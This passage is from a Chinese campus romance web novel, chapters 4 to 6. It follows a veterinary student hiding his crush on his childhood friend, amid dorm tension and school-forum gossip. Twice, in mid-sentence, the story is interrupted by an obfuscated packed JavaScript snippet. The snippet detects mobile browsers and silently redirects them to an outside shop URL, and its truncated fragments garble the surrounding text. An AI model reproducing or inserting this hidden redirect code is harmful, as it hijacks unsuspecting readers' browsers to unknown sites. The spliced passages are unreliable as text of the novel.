他伸手,身上犹带着夏夜的热度,混合着清淡的男香,扑了曲柚一脸。“你好啊,弟弟,我是齐昊。” 曲柚顶着洗完澡后捂在脑袋上的毛巾,从被窝里伸手握了握从下举上来的手,白生生的手指握住舍友的手,看起来小了一号似的。 “你好。我是曲柚,兽医专业的。” 看起来冷清漂亮,但却莫名很乖。 “哎……?”齐昊轻笑着语调上扬,腔调中带着莫名的意味,眼神像是钩子般打量了一下曲柚那张抓人眼球的脸蛋,对他点头,“曲柚啊,加个微信,以后有事随时找我,我都在。” 曲柚眨眨眼,老实道:“谢谢。” 据说gay子之间都有雷达,属于是对视一眼就能识别彼此的。以前曲柚不信,现在他老实了。 他娘的,这个帅哥真是一眼gay。 “你……”帅哥又开口了,慢悠悠的,眼神带笑。 他敢肯定,这人看出他是觊觎兄弟(?)的死gay了。 曲柚一瞬间感觉后背的汗毛都要竖起来,他下意识屏住呼吸看着gay子室友,心脏狂跳,手指在被窝里掐在一起。 一个人心虚的时候,总觉得自己马上要翻车。 这人,应该不会没眼力到替他当众出柜吧? 不会吧??? 4. 你在论坛出名了,小朋友 004/东山花灯 “你在论坛出名了,小朋友。” 齐昊冲他一笑,不经意地抬起胳膊从头上拽下白衬衫,侧身将衣服搭在曲柚对面床铺下方的学习椅上。 他没暴露曲柚的性向。 曲柚瞬间放松,苟过一劫,他脑子才开始分析齐昊刚才说的话,“啊?” 什么论坛?出什么名?谁出名了?他才到校不到一天啊。 脑内齐刷刷划过三个问号。 但这些疑问只是稍稍停留就滑走了,曲柚没有在意这些。 他眉头微蹙了一下,感觉怪怪的,为舍友刚才那声“小朋友”。 曲柚只会把这个用词放在十岁以下的儿童身上。 齐昊上半身裸着,毫不在意被上铺的男生看着。 小弟弟长得又冷又漂亮,看上去像是不好接近的,但说起话来又很乖,很难不让人喜欢。 褪去衬衫后,曲柚看到齐昊脖子上挂着一根银色项链,底端坠着一个小巧的十字架。 他身上有还算明显的肌肉线条,身材高挑匀称,人鱼线没入裤腰。 唔,但没有他哥的身材好。 曲柚也没有故意看,但下面发生的画面就这么水灵灵映入他的眼睛了。 他转开眼,伸手拉住掀开的床帘绑绳,准备放下帘子,给舍友一片自由换衣服的空间。 “曲柚,闭眼睡觉。” 竹马冷淡的声音响起。隔着两层床罩,有点微闷。 是曲柚习惯的,肖承风对他命令式的语句。 “好哦哥。”曲柚一抽绳,条件反射性闭眼躺回床铺,两只手规矩地压住被单,放在自己肚子上。 下面窸窣换衣服的声音突然小了。 有人用鼻音哼笑了声。 卓正阳小小的声音传进耳朵,“这是学神官方认证的弟弟,耗子你别搞啊,别骚到小柚子跟前。” 齐昊语调无辜,“我什么都没搞啊”,关门进了卫生间。 * 倒头就睡的曲柚错过了A大论坛今夜的狂欢。 【今年新鲜出炉的美女哥,都给我进来膜拜女娲!】 1L:我知道你们看见了!都给我把你们的照片,交!出!来!(空手套白狼.jpg) 2L:报!【美女哥校门口撑伞高清美手图.jpg】 5L:放出我今日捕捉的野生美女球:【脑后了扎发揪的冷艳美少年抬伞望向外面.jpg】【下一秒冷艳美少年笑得像花朵盛开,明媚温柔.jpg】 6L:上图:【冷淡帅哥和笑得花一样的漂亮少年对视.jpg】 17L:长得这么冷艳的美少年看到冰山校草也会笑得这么软和啊?小卷毛笑起来好可爱! 30L:看看手机,又看看镜子里的那张脸,明明大家都是人……女娲,我请问呢?都是用树枝甩的泥点子,凭什么有人可以氪金? 35L:?美女哥是谁啊你们就发照片?虽然是挺好看的,但完全不知道什么时候出的这号人……我网线又掉了? 38L:报!楼里水灵灵的美女哥是今年兽医学院的新生,名字还在打探中!据可靠消息透露,美女哥入学当天,是金融系那位冰山学霸帮着拉箱子进宿舍楼的,划重点!全程美女哥没有沾手行李箱! 42L:【金融系学霸拉美女哥的手腕走远.jpg】大门口看见这俩的,美味代餐!谁懂学霸一个照面就钻进美女哥伞底下那个瞬间,侵略性超强,可惜没拍到。感觉他俩差一点就能亲上了。(就差我在背后推一把。 48L:他俩以前认识吧,不然肖那个冰山不可能和人这么亲密的。不应该啊,居然有人能让他主动接触?我没破防,我就是理性分析,我怎么会破防呢?之前我朋友追他一周就追不动了,这人不是外冷内热,简直是外冷内寒。 49L:好,知道你破防了,不过是没追到冰山而已,正常。下一个。 51L:?我不信,学霸怎么可能这么舔狗。他们第一次见面居然就又搂又抱,居然还进了同一栋楼?!我不同意这门婚事! 52L:楼上淡定,只是帮可爱学弟拉拉行李箱而已,很正常啊,我碰到合眼缘的学弟学妹也会帮一把的。又不是进了同一个宿舍上了同一张床。 54L:都是大男人有什么可叽叽歪歪的,还美女,还婚事的,恶不恶心。【呕吐.jpg】 68L:也不知道是戳了哪个丑男的肺管子了,看见别人关注美男,那个酸劲儿啊,隔着屏幕都熏到我了。【噫,嫌弃脸扇扇子.jpg】 70L:这不是我们母子俩今天刚认的义父么!小哥哥真的太厉害了,我的猫从宿舍楼被人摔下来,本来都僵直不能动了,当时中午路上也堵,送到宠物医院我怕时间来不及,男朋友又是个装孙子的(已经是前男友了),当时真的以为小猫要死在我怀里了,崩溃得不行,是这个小哥哥!摸了小猫几下,不知道怎么弄得,小猫就能站起来走了! 72L:【救小猫视频.jpg】原来那个举着猫叫人家义父的就是你啊(捂嘴笑) 73L:居然被拍到了。呃呃我在视频里怎么哭得鼻涕眼泪都出来了,好丢撵。 74L:哇,美女哥有点东西啊,就那么轻轻一按猫就站起来了? 75L:美女哥人美心善!他在按猫的时候还不忘安慰小姐姐,真的好温柔。 76L:哈哈哈这小猫一看就很上道,妈妈让叫爹就乖乖叫。 120L:本楼已标火,爆火预定。 …… * 军训后开学第一周,曲柚的课程表排得满满的,每天奔波在教学楼和图书馆之间,每天到了晚上曲柚才回宿舍,和竹马的交流不算多。 新学期新起点,曲柚决定要好好学习,跟上进度,争取别麻烦肖承风再给他补课了。 同学们都很友善,但没有人愿意跟他说话超过五句。 都是说不了几句话就有些局促地扭头走了。 男生和他对视超不过十秒,女生看见他总会对他笑,然后就会扭脸捂嘴,颊边一片淡红。 他所到之处,不一会儿周围就会有人悄咪咪地用手机对准他。 曲柚知道他们在干什么,自从上次齐昊在宿舍里说过后,第二天曲柚就登入学校论坛看了一圈。 几个夸他长得好看的帖子罢了,没什么重要的。 曲柚也就没有继续留意。 对于别人关注他外貌这件事,曲柚从小就习惯了。 小时候妈妈总是叫他“漂亮宝宝”,以至于有段年幼的岁月中,曲柚以为自己的名字就叫这个,逢人就向别人介绍自己是“漂亮宝宝”。 至于周围拍他的同学们,曲柚也没太在意。他这个长相,从小到大早就习惯别人拿手机对准他猛拍了。小时候出门就和竹马被拍,他们进入高中后,更是经常被人偷·拍,照片挂在学校表白墙上三年下不来。 这天上完了上午最后一节微积分,曲柚以一种活人微死的状态,平静地收拾好书包,单肩挂着包准备回宿舍。 经过一节数学课的洗礼,他脑袋里空空的,整个人无欲无求。 “曲柚!”门口有同学叫他,“有人找!” 他闻声看过去。 教室门口处,几个学生围在那里,有个明显高一头的男生站在那里,笑着冲他摆摆手。 曲柚单肩背着书包走过去,点头打招呼,“昊哥。” “小柚,回宿舍么?我刚好也下课,一起走啊?” “好。”曲柚没多想,跟着就走了。 背后同学们嘈杂的说话声被他甩在脑后。 齐昊问他课程难不难,新同学是否好相处,有什么需要帮忙的可以找他。 热心得让曲柚觉得齐昊才是他亲哥。 曲柚还处于学习数学后的僵直状态,回答一字一顿的。 “还好,还好,好的谢谢。”听上去有点心不在焉。 齐昊看出曲柚的回避和小心,笑了一声,放低声音,“曲柚,你不用防备我,我们是一样的人。” “至少,我对你是没有坏心思的。我不会害你。” 曲柚耳朵里听进了这些话,但他此时的脑子不太能分析出来这些话的潜在意思。 他只懂了一句,“我们是一样的人”。 曲柚脑门一炸,顿时一个机灵清醒过来。 抬眼一看,齐昊正对他笑着,眼神有种彼此心知肚明的暗示。 曲柚觉得齐昊的眼神似乎在向他传达某种信号,他不知道怎么形容那些眼睛里流动的情绪,好像确实没有什么恶意,但他真的看不懂啊。 看似镇定的漂亮小狗脑袋空空、内心慌慌的,准备往后退。 曲柚点点头,找了个借口想要离开,“昊哥,我刚想起来,我把耳机落在教室了,我回去取一趟啊,你先走吧。” 他也不等齐昊回话,转身就走,大脑在慌乱中发出指令,指挥着身体往刚走出来的教室回去。 回去后教室里还有几个同学没走。他们看见曲柚又回来了,有人看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189039|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一眼,和别人对视一下,没说话。 曲柚坐到一张靠门的椅子上,脑袋有点乱。 他不知道齐昊什么意思,金融系和兽医系隔着两栋教学楼,说顺路一起走也太牵强了。 他也并不想接受齐昊莫名的示好。他本身就想把自己的性向瞒得滴水不漏,谁都不知道最好,齐昊是他和肖承风共同的室友,和他透露太多底细并不是什么好事。 他承担不起万一哪天齐昊帮自己在竹马面前出柜的风险。 有个女生似乎有些犹豫,慢慢走过来戳了戳曲柚,小心道:“曲柚,你认识齐昊学长啊?” 曲柚回过神,眨眨眼,对女生笑了一下,“啊,他是我室友。怎么了?” 男生今天没有扎小辫,微长的头发散落下来,有些凌乱的贴在颊边和颈窝,目光专注地看着女生,琥珀色的眸子里满眼都是她。 女生看着曲柚,突然用手按了一下胸口,深呼吸了一下,微微弯腰小声跟他说:“我听朋友说这个学长在金融系挺出名的,但……不是好的那种。据说他有挺多暧昧对象的,大部分是男的,你注意一点啊。” 话说到后面,声音越来越低。 她担忧地看着曲柚,满脸都是“可别被骗了”的忧虑。 他们班何德何能有个漂亮弟弟,每天看到曲柚都觉得一天都美好了,学习都有动力,可别被外面的花心萝卜给哄了去! 曲柚微微放松肩膀,同样压低声音,笑着对女生保证,“谢谢你告诉我,婷婷,不过我和他没别的关系,他就是舍友而已。” “哎,你知道我叫什么啊。”武婷婷惊讶地捂嘴。她可从来没有到曲柚面前搭过话啊,这还是开学后头一次。 “那天大家上台自我介绍,我就记住你啦。”曲柚弯了弯眼睛。 其实不是。曲柚是开学第二天课间发现这位女同学看着手机嘴角一边上扬一边拼命压制,笑得一脸狰狞,曲柚有点好奇她看到什么了,于是他走过女生身边的时候,没忍住侧头看了眼女生的手机屏幕。 然后被画面中交缠在一起的肌肉男和飞溅的不知名液体给洗了眼。 很震撼。曲柚现在还记得当时内心受到的冲击。 有些女孩子,外表文文静静,温婉漂亮,实际上会对着男男皇漫露出扭曲的兴奋表情啊。真是人不可貌相。 “啊,那你记忆力真好啊。”武婷婷羡慕道。被班上可以说是“班草兼班花”的男生一眼记住,很难不让人心里高兴。 “没关系就好啦,怕你被骗了。”女生留下这一句,就对曲柚打招呼告别了。 在教室等了一会儿,曲柚一个人拎着书包往宿舍走,心事重重。 他觉得自己的想法没错,他确实得离齐昊远一点。 齐昊在跨专业新生这里都有“同性恋”苗头的名声了,他哥跟齐昊是同专业的同班同学,肯定也知道。和他走得太近,肖承风会不会觉得他也是同性恋啊? 就这样一个人慢悠悠走回了宿舍楼,306的宿舍门没有关严。 细白的手指即将搭上门把手的时候,曲柚突然顿住了。 他听见了门里传来的声音。 “……他和你不一样,不是同·性·恋,你别招惹他。”说话的声音低沉而有磁性,带着郑重警告的意味。 “哈?肖神,我什么都没干啊,而且,你真的确定么?你真的了解你弟弟么?”齐昊轻笑道,语气嘲讽。 曲柚低垂着头,瞳孔有一瞬间缩紧。 “他是我弟弟,我怎么可能不了解。你愿意喜欢男人女人都和我无关,但你离曲柚远一点,他是个正常人。”男生的声音冷冷的,丝毫不顾说出口的话会刺伤人 。 门内一阵沉默,门外,曲柚细长的手指已经蜷缩起来,像被灼伤似的,不敢靠近门把手。 在肖承风心里,喜欢男人是不正常的。如果有一天肖承风知道他喜欢男人,还喜欢他,是不是也会这么对自己说,让自己变得正常点?自己的喜欢,对他来说,真的就是困扰吧。 一旦这个事情暴露,自己和竹马的关系,估计也维持不下去了。 最坏的结果就是被竹马厌弃,被绝交,一辈子不相往来。 他早就知道竹马厌同,曲柚想,这没什么大不了的。 但是,为什么眼睛会这么快就灼热了起来呢。 胸腔被心跳撞得发疼,泪水好像失控了一样迅速堆积在眼底,模糊了视线。 蓦地,门内传来脚步声,来不及曲柚反应,面前虚掩的门被猛地拉开—— 5. 我想换个宿舍 005/东山花灯 曲柚没来得及看门口的是谁,他只知道,他不能以现在这个状态出现在肖承风面前。 于是猛地扭头,转身就跑! 眼底的泪珠被惯性迅速甩出,在空中短暂地划出一道浅浅的弧线。 砸入拉开门的人的视线中。 肖承风惊愕地看着曲柚落荒而逃的背影,没有错过那一瞬间晃入他眼底的,曲柚仓惶落泪的样子。 那是一种委屈到了极点、还在努力憋住的表情。 他甚至没有抬头看一眼拉开门的是谁,就惊恐地逃跑了。 为什么哭? 为什么要跑? 他来不及思考更多,在头脑理清思绪前,身体已经提前行动了。 “曲柚!”他拔腿追了上去。 手带着门狠狠撞上门框,又弹开,慢悠悠敞出一条缝。 整条走廊被猛地一声“嘭!”震了一下,好多人吓了一跳,一脸茫然地探头出来看外面发生了什么。 306寝室敞开的门缝内,露出齐昊看热闹不嫌大的笑容,依旧是优哉游哉的,“刚才倒是大言不惭说我不正常,现在有的哄了。” “我艹,发生什么了?”卓正阳缩在宿舍床铺角落内,背靠墙边,刚睡醒的眼神还有点茫然。一觉起来发现两个原本关系很好的舍友针锋相对,好脾气的齐昊居然在嘲讽肖神,永远镇定冷静的肖神还摔门跑了。 怎么,天塌了么? “没什么,有人看不清自己身边的人,反倒从别人身上开刀呢。”齐昊耸耸肩,回身给自己带上一个十字架装饰耳钉,倒是不见生气。 “曲柚!”肖承风叫着前面头也不回的人,看对方丝毫没有停下的迹象,反而跑得更快了。 他低斥一声,顺着楼梯扶手,长腿迈开,几步就跃下一层楼。 曲柚一边尽量提速跑,一边抬手狠狠擦干脸上的痕迹,试图在短时间内让自己恢复正常状态。 他知道自己很快就会被竹马追上,但至少,别让自己以这幅太过狼狈的样子出现在肖承风面前。 太丢脸了,他不知道要怎么解释。 中午休息时间,外面只有零散的学生,有人惊愕地看着一个漂亮的男生一阵风似的冲过来,慌忙躲开。 然后再次被后面追着跑的肖承风带起的热风糊一脸。 夏季的风略过曲柚的脸庞和发丝,冲得眼底火辣辣的。 他胡乱擦干了脸上和眼底的水迹,下一刻,就被人抓住了书包,猛地往后一拉——连带着整个人都被拽进身后男生的怀里。 微卷的发丝在惯性的作用下向前扬起,又回落下来,掩盖住了男生的眉眼,他急促地喘息着。 曲柚紧紧抓着书包肩带,指关节血液被逼开,绷出白色的痕迹。 比他高一头的男生喘着气,似乎是怕他再跑,下意识地双臂上下分开,环住怀里人的肩膀和腰侧,将人禁锢在自己身前。 肖承风的身体很温暖,透过衣物薄薄的布料,传递到曲柚身上。明明是之前连幻想一下都会让他心动不已的场景,但曲柚此刻一点旖旎的心思都没有。 他垂头不语。 实际上曲柚脑子里在疯狂刷屏:救救我救救我怎么办编什么瞎话能糊弄过去—— “你跑什么?”肖承风微微喘气,问怀里一言不发的男生。 怀里的人肩膀微微起伏,微长的卷发散开,垂落在颊边,露出一段白皙的颈子,像一块滑腻的玉石。 肖承风眼底微凝,被烫到了一样,不动声色地松开曲柚,握着人的肩膀把背对自己的男生转过来。 他手掌托起曲柚的下颚,把人的脸扬起来面对自己,“怎么了?” 语气稍稍温和,像是怕吓到人一般安抚,虎口贴在曲柚温热的皮肤上,让他略显慌乱的视线对上自己的,重新问。 “发生什么了?为什么哭?” 温热的手掌卡在下颚骨两边,让曲柚的视线无可闪避地对上竹马的脸。 男生冷淡又强势的样子,和秘密似乎马上要被揭穿的可能性,让曲柚的心脏狂跳起来。 发生什么了。这让他怎么回答? 【不好意思我喜欢你,我也是“不正常”的人,你会不会动手揍我?而你大概率是不能把我打“正常”的。所以我会白挨一顿打。 而我实在不能接受你对我冷脸相向的可能,连想一想这种可能性都抗拒。 所以我宁愿先一步远离你。】 直接说的话,他可能就要成为A大第一个入学第一周就退学的同学了。 曲柚慌得眼神微颤,杏眼无措地左看右看,最后被竹马专注的表情摄住,陷入对方黑沉的双眸中。 那双仿佛不会反光、只会吸纳光亮的深黑眸子中,曲柚看到自己白得要在肖承风的眼睛里发光的脸。 “曲柚。”男生的语气缓和下来,像是在安抚吓到不会说话的小动物,拇指轻轻在他下颚边摩擦,引起一种温热的酥麻,“告诉我,怎么了?” “开学接你那天就发现不对劲了,你好像一直有心事。” “没关系,跟我说,我给你解决。” 可是有关我喜欢你的这个问题,你解决不了啊。 我和你相处了十几年,才终于在我长大成人的那个暑假里,才意识到我的喜欢。 我是这样笨的人。 你要怎么解决,还要花多少时间,才能让我不喜欢你? 曲柚张了张唇,却不知道要说什么,在心底偷偷压了很久都无解的问题,忽然就化作委屈,鼻子一酸,刚擦干的泪水又堆积在眼角。 少年心思简单,突然发现自己喜欢的人是男生,又从网上接收到大量对这种关系持有负面看法的言论,他无法向别人说出自己的难题,只能憋着自我消化。 一整个暑假,曲柚查那些资料把自己查得差点抑郁。 他的父母没看出来孩子不对劲,竹马却说在跟他碰面不到一天内,就敏锐地发现了他有心事。 被肖承风用手卡着脸的男生眨眨眼,眼角忽地滚落一颗泪珠,落在他的指尖,沿着手腕缓缓下滑,形成一条泪线。 曲柚的长相是偏冷淡那挂的。 他小时候可爱得像一块香甜的小蛋糕,白皮肤大眼睛,一头自来卷毛,大部分时间都笑得甜甜的,谁见了他都走不动道,有不少姨姨喜欢围着他摸小脸蛋。 但越长大,五官长开后,曲柚的整张脸反而出落成了冷淡艳丽类型的。 不说话的时候,他就像个有故事的忧郁美少年,漂亮地有点锋利,让人不敢轻易去打扰。 再加上他一个暑假没去剪头发,微自来卷的头发散落在颊边颈侧,眼底微微发红,一双水洗过的透亮琥珀色眼瞳看过来时,他整个人就像是脆弱的蝴蝶少年。 会招惹一些变态的骚扰。 但肖承风知道,曲柚本质只是个没什么心眼的小狗罢了。 小狗很好骗的。 谁把小狗骗得伤心落泪了? 男生黑沉的眸子带了他自己都没意识到的郁气,口吻越发轻缓,他慢慢降低身子,凑近曲柚,轻声哄他。 “别哭了,乖,告诉我,谁跟你说什么了?” 【这就去连夜刀了骗小狗的垃圾】 “哥,我想换个宿舍。” 话音一落,曲柚不自觉屏住呼吸,看着肖承风的脸,像等待审判的囚徒一般,等着竹马的反应。 有关为什么曲柚明明是兽医专业的大一新生,却入住了金融系的男寝,还得往前说。 高三的时候,曲柚被各科考试卷子和肖承风的独家复习试卷逼得快要崩溃,他哭着跟每周末雷打不动到他家住两天、全天候给他补习的竹马说,他太笨学不下去了,他就考个三本挺好的,实在不行他去上专科学校,以后当个汽修工也不错,还能给他哥免费修车。 被竹马连哄带安慰,说他肯定没问题,如果曲柚不相信自己,就相信他好了。 肖承风说他有这个能力,把曲柚辅导到考入和他一样的学校,你信不信? 曲柚泪眼朦胧地点头说信。 肖承风擦干净他脸上的泪珠,俯下身视线对着他的视线,认真地说,好,那就相信我,无条件配合我让你做的任何事情。能做到么? 做到的话,到时候进了大学,我跟学校申请让你和我住一个宿舍,继续辅导你大学的功课。 不管你学什么,我都能辅导你。 曲柚一瞬间被竹马帅到说不出话。这种莫大的安全感,让他的信心瞬间爆棚。 他从小到大,一直都很相信肖承风。而肖承风对他,从来都是说到做到的。 这次也一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189040|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高考分数出来的时候,无数人惊掉了下巴。 毫不夸张的说,高考出分数的那天,曲柚妈激动到差点要给他竹马磕一个。 曲爸和曲妈在家里给老祖宗落泪上香的时候,顺带夸了肖承风一堆的好,说希望老祖宗在保佑小柚的时候,也把肖承风当成亲后代一起保佑。 只有曲柚没有很吃惊。 他不一定相信自己的本事,但他完全信任肖承风的承诺和能力。 肖承风得知他的成绩后,只是打电话告诉他,曲柚来校报道时直接住进他在的宿舍就行。 他不知道肖承风怎么做到的,但事实就是,竹马是永远的神。 只是后来,曲柚也没想到,自己会发现他喜欢上了竹马。 所以曲柚从前有多想跟竹马住在一起,获得心理上的安全感,现在听到了肖承风对齐昊说的话后,他就有多想和竹马分开。 他再也不会臆想竹马也能喜欢上他了。 隔得远远的,最好让自己不能经常看到肖承风,把这份年少萌芽的悸动,湮灭在时间的磨砺中。 等磨干净自己的喜欢之后,等他可以完全把肖承风当成发小兄弟了,他就可以用最佳伴郎的身份坦然参加肖承风的婚礼,为他整理胸前的花带、为他递上要和新娘交换的戒指、为他的幸福爱情和完美人生送上鼓掌与祝福。他们之间的关系只会停留在亲友的层面,好兄弟一辈子。 他妈的。 曲柚忍不住眼眶溢出温热的液体。心痛得要死掉了呜呜呜。 肖承风太聪明了,他在竹马面前完全是一本摊开的书,可以任竹马来回翻看。曲柚对于自己能否把不能说的暗恋情愫在肖承风面前隐瞒四年,感到极度不确定。 所以最好的办法,就是让他们俩的距离,离远点、再远点。 直到变成最熟悉的发小,除了友情没有其他。 “是因为齐昊么?你听见我和他说话了?放心,他不会过分打扰你。”高个子的男生伸手抹掉那张精致脆弱的脸上,眼角溢出的泪水,温声安抚。“不会有人敢在我面前对你做什么的。” 曲柚张张嘴,哭湿的眼睫低垂,“不是因为他……”为了增强自己的说服力,他看又看向竹马。 “那为什么哭?怎么突然要搬出去?”肖承风眼眸深沉,果然是有不怀好意的人在曲柚面前乱嚼舌头吧? 曲柚的表情柔软、无辜,杏眼微垂,眼睫被泪水打湿成一缕一缕的。直视他的时候,会忍不住心虚地转移视线,然后又强制转回来,看向自己。 这是一种肖承风很熟悉的神情。 曲柚从小有事瞒着自己不想说的时候,就会露出这种看似为难的表情,让人不忍心拒绝他的请求。 他在他面前向来藏不住事。 但这次曲小狗憋了半个月都没告诉他,看来耐性有长进。 肖承风淡淡地想,孩子长大了,也有自己的小秘密了。正常。 但想和自己分开,就很不正常了。 对上肖承风的视线,曲柚的眼瞳又颤了颤。 男生微微低头对着他,整个人肩宽窄腰,一只手握着他的肩膀把他控在胸前,干净利落的下颚线漂亮得让曲柚心头茫然,有种慵懒又宠溺的意味。 曲柚一直知道,肖承风长得很好。 他看过A大的校园论坛,光是肖承风的偷拍美照楼,都已经建了好几个了。 校园表白墙上,给竹马表白的匿名信更是占据了半壁江山。 校园男神给自己铺床单叠被子,又因为看到自己掉几滴眼泪就紧张的从楼里追下来,当着学校里认识不认识的人面前,拉住自己捧着自己的脸问为什么哭。 这得是多少A大人做梦都不敢梦的画面。 他这么好,可我却不能喜欢他。至少不能让他察觉到我的喜欢。 不然他就会彻底消失在我的生活里。 曲柚痛心地想。 他晃了晃眼神,手指无意识抠着书包肩带,垂下眼睫说:“哥,我听别人说,同专业的新生会被分到一起,我这样和班里的同学都不住在一起,现在还没交到几个朋友,感觉不好融入集体。” 懂了,孩子听信了外人的谗言。 现在还包庇外人来骗他。 肖承风看了一眼曲柚抠书包的手,没什么情绪地开口:“曲柚,你在撒谎。” 6. 你选择了在中间端水? 006/东山花灯 大脑飞速运转后找出的如此合理解释,竟被竹马一秒识破。 曲柚心死一般闭了闭眼,内心有个小人抱头尖叫:我就说骗不过他啊——! 大脑,你是个笨蛋大脑! 不过从小到大曲柚也没成功骗到过肖承风几回,所以情感上接受这个现实竟该死的很容易。 他抬起一只手,摸索着按上肖乘风的脸,捂住那双似乎在审视他灵魂他的眼眸。白嫩纤长的手指在男生脸上摸索着,有些发汗的掌心轻轻按住对方微微颤动的睫毛。 竹马的眼珠隔着眼皮在曲柚的掌心里动了动,即便生理上有不安的反应,但身体然后很安稳地接受了他手动施加的闭眼术。 曲柚这才敢抬眼看男生。 “嗯?”竹马从鼻腔里哼出来一句疑问。 曲柚捂住人的眼睛,才敢说出半句实话,“我也不想撒谎。” “还没想好怎么说。”他有点沮丧,精心编制的借口一下就被戳穿了。 被他按住的人一手懒散地搭在他肩膀上,微微勾起唇角。 微风吹过,带着草木气息的风温柔挑起竹马的发尾,轻轻搭在曲柚手背上。 “等我想好以后,再告诉你行不行?”曲柚乖乖发问,再给他点时间编个更完美的理由。 “行。”肖承风唇边的笑意昙花一现,很快恢复了平静,“在你想好合理的理由之前,不能搬出宿舍。” 曲柚听见头一个字的时候,眼睛亮亮的,刚要露出欣喜的笑容,听到后面直接一个小狗丧气。 “那,那好吧。”他的声音疑似丧失了所有力气与手段。 光是听竹马的声音,他就知道肖承风不会轻易放他走。能让肖承风觉得合理的理由,曲柚觉得他想破脑袋都想不出来。 竹马握住他的手,将盖在眼前的手掌拉下来,眼睛再次盯住曲柚,“现在告诉我,刚才哭什么。” 曲柚舔舔唇,决定说个半真半假的理由,“我觉得,很不好意思,刚来宿舍就引起宿舍不愉快了。我怕我继续住下去,会让大家的关系变坏。” 肖承风伸手按了按曲柚的头发,“继续。”微卷的发丝在指间滑动,像乖顺的小动物。 曲柚知道这是竹马觉得这个理由还不足以打动他,瞅一下男生的脸又移开视线,小声哔哔:“毕竟我从小就经常引起同学争风吃醋,我不想在新环境再发生类似的事了。” 肖承风沉默。乍一听上去没什么问题,仔细思考却槽点满满。 你以为宿舍里谁会为你争风吃醋,我和齐昊么?一个直男,和一个绯闻男女友满学校的人? 温暖的风吹干了曲柚脸颊上的泪水,男生的眼眶还有点微红,此刻睁着无辜的桃花眼,眼尾微微上扬,冒着带花骨朵的傻气。漂亮的男生一脸诚恳地说着自己不想见到有人为他争风吃醋,竟然也让人觉得有些合理。 曲柚余光闪过一些影子,他一扭头——几个人或站或蹲藏在不远处的树后面——甚至有几个干脆没藏,大大方方排排站,齐刷刷用手机对着他们。有个女生还在一边对他们举手机一边捂嘴,怎么捂都遮不住疯狂上扬的苹果肌。 曲柚后知后觉:“……”他刚刚说的那些自恋屁话,不知道有没有被人录下来。 他的脸刷地红起来,脑袋上似乎都在冒烟,赶紧拉下肖承风的手腕,低着头把人往宿舍拽。 够了,今天出的洋相到此为止。 被他拉着走的人倒是不紧不慢的,丝毫不在乎有没有人在拍。 正是学校午休的时候,校园里溜达的人虽然不多,但也有不少人看到男宿舍楼外发生的情况了。 夏日微醺,树叶潸然,晴空万里,都不及这缠绵悱恻的高校美男恋情让人沉醉——直接在论坛开贴直播的学姐在论坛里如是写道。 引起下面一群人:【???】 学姐直接附图: 【冷艳漂亮的男生被禁锢在高大英俊的校草怀里,显得有些脆弱.jpg】、 【漂亮男生被校草抬着下巴擦泪,攥着书包肩带楚楚可怜.jpg】、 【冷峻的冰山校草被漂亮男生一只手捂住眼睛,放松地把人笼在自己身前.jpg】、 【(放大图)被捂住眼的冰山校草,唇边勾起让人心动不已的弧度.jpg】 【漂亮男生脸蛋微红,低头拉起校草的手腕走.jpg】 【还有谁?我就问还有谁?!还有谁能忍住不嗑这对!!!】 【我早就告诉你们了!冰山和新来的美女哥肯定有一腿!】 【妈妈我嗑的纸片人cp有代餐了!疯狂蹭蹭蹭!】 【看在我从小就没有男朋友的份上,你俩能亲一个给我看么?这对我真的很重要(祈求)】 【不是吧,大庭广众之下俩男搂搂抱抱的不觉得奇怪么,都是男的恶不恶心啊。】 【恶心的同♂恋滚】 * 当天回到宿舍后无事发生。曲柚原本有点不好意思,因为自己的事情,竹马对齐昊说了不客气的话。但齐昊甚至还来安慰曲柚,说他不用往心里去,肖承风没有恶意他知道。 “而且”,齐昊微微笑着对曲柚说,“你哥的警告也不是完全没用的。我确实对你有好感,小柚。” 曲柚原本有些感激和不好意思的笑容,顿时僵住了一秒,下一秒,他侧过头睁大眼睛,清透的眼惊讶地注视齐昊,眉毛微挑。 “啊,齐昊哥。”曲柚下意识看了一眼躺在床边看手机的卓正阳。在宿舍光明正大的gay自己真的没问题么? 卓正阳原本正举着手机刷消消乐,闻言一个没抓稳,手机啪地落在脸上。他捂着脸坐起来,等放下手的时候,鼻梁上横着一道红印。卓正阳怒视齐昊,“耗子你干嘛,警告你不要在宿舍乱来啊,肖神不在,小柚子可是我亲弟弟!” “别紧张,不是你想的那种,”齐昊没搭理那边嘟嘟喷气的卓茶壶,还是一脸放松地和曲柚笑,凑到漂亮男生耳边小声道:“算是哥哥看见弟弟那种好感吧。” “我也有个弟弟,跟你差不多大。” 曲柚有些惊讶地睁大眼,“把我当弟弟看么?”只是,这是什么不能说的事情么?为什么要这么小声。 “那,谢谢哥。”曲柚犹豫了一下,顺利接受了这种好意,他弯起眼对齐昊笑了一下,目光里是坦然的信任和愉快。 齐昊怔了一下,看着男生的笑脸两三秒,突然也跟着笑了。 “啊,不谢。”说罢抬手揉揉男生微卷的发丝。 发丝很软,这是齐昊的第一感受,很乖,他看着曲柚的脸,继续想到。 很好揉。 不怪肖承风看得紧。这要是他亲弟弟,他也得抵制一切靠近弟弟的男人。 男人装得再道貌岸然,皮子底下都是一脉相承的狗东西。 宿舍门突然打开,上课回来的肖承风开门就看见上 